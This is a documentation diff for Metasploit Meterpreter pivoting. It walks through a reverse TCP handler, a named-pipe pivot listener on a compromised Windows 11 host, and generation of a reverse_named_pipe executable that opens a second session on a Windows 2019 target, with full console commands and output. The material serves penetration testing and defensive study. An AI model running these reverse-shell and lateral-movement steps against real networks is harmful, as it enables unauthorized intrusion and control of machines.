@@ -222,28 +222,66 @@ The Windows Meterpreter payload supports lateral movement in a network through S
222222First open a Windows Meterpreter session to the pivot machine:
223223
224224```
225- use exploit/windows/smb/psexec
226- 225+ msf6 > use payload/windows/x64/meterpreter/reverse_tcp
226+ smsf6 payload(windows/x64/meterpreter/reverse_tcp) > set lhost 172.19.182.171
227+ lhost => 172.19.182.171
228+ msf6 payload(windows/x64/meterpreter/reverse_tcp) > set lport 4578
229+ lport => 4578
230+ msf6 payload(windows/x64/meterpreter/reverse_tcp) > to_handler
231+ [*] Payload Handler Started as Job 0
232+
233+ [*] Started reverse TCP handler on 172.19.182.171:4578
234+ msf6 payload(windows/x64/meterpreter/reverse_tcp) > [*] Sending stage (200774 bytes) to 172.19.185.34
235+ [*] Meterpreter session 1 opened (172.19.182.171:4578 -> 172.19.185.34:49674) at 2022-06-09 13:23:03 -0500
227236```
228237
229238Create named pipe pivot listener on the pivot machine, setting ` -l ` to the pivot's bind address:
230239
231240```
232- meterpreter > pivot add -t pipe -l 169.254.16.221 -n msfpipe -a x64 -p windows
241+ msf6 payload(windows/x64/meterpreter/reverse_tcp) > sessions -i -1
242+ [*] Starting interaction with 1...
243+
244+ meterpreter > pivot add -t pipe -l 169.254.16.221 -n msf-pipe -a x64 -p windows
233245[+] Successfully created pipe pivot.
234- meterpreter >
246+ meterpreter > background
247+ [*] Backgrounding session 1...
248+ ```
249+
250+ Now generate a separate payload that will connect back through the pivot machine. This payload will be executed on the final target machine. Note there is no need to start a handler for the named pipe payload.
251+
235252```
253+ msf6 payload(windows/x64/meterpreter/reverse_named_pipe) > show options
236254
237- Now generate a separate payload that will connect back through the pivot machine. This payload will be executed on the final target machine :
255+ Module options ( payload/windows/x64/meterpreter/reverse_named_pipe) :
238256
257+ Name Current Setting Required Description
258+ ---- --------------- -------- -----------
259+ EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
260+ PIPEHOST . yes Host of the pipe to connect to
261+ PIPENAME msf-pipe yes Name of the pipe to listen on
262+
263+ msf6 payload(windows/x64/meterpreter/reverse_named_pipe) > set pipehost 169.254.16.221
264+ pipehost => 169.254.16.221
265+ msf6 payload(windows/x64/meterpreter/reverse_named_pipe) > generate -f exe -o revpipe_meterpreter_msfpipe.exe
266+ [*] Writing 7168 bytes to revpipe_meterpreter_msfpipe.exe...
239267```
240- msf6 > use windows/x64/meterpreter/reverse_named_pipe
241- msf6 payload(windows/x64/meterpreter/reverse_named_pipe) > generate -o named_pipe_example.exe -f exe pipehost=169.254.16.221 pipename=msfpipe
242- [*] Writing 7168 bytes to named_pipe_example.exe...
268+
269+ After running the payload on the final target machine a new session will open, via the Windows 11 169.254.16.221 pivot.
243270```
271+ msf6 payload(windows/x64/meterpreter/reverse_named_pipe) > [*] Meterpreter session 2 opened (Pivot via [172.19.182.171:4578 -> 169.254.16.221:49674]) at 2022-06-09 13:34:32 -0500
244272
245- After running the payload on the final Windows 2019 target machine a new session will open, via the Windows 11 169.254.16.221 pivot.
273+ msf6 payload(windows/x64/meterpreter/reverse_named_pipe) > sessions
246274
275+ Active sessions
276+ ===============
277+
278+ Id Name Type Information Connection
279+ -- ---- ---- ----------- ----------
280+ 1 meterpreter x64/windows WIN11\msfuser @ WIN11 172.19.182.171:4578 -> 172.19.185.34:49674 (172.19.185.34)
281+ 2 meterpreter x64/windows WIN2019\msfuser @ WIN2019 Pivot via [172.19.182.171:4578 -> 172.19.185.34:49674]
282+ (169.254.204.110)
283+
284+ ```
247285## Pivoting External Tools
248286
249287### portfwd
0 commit comments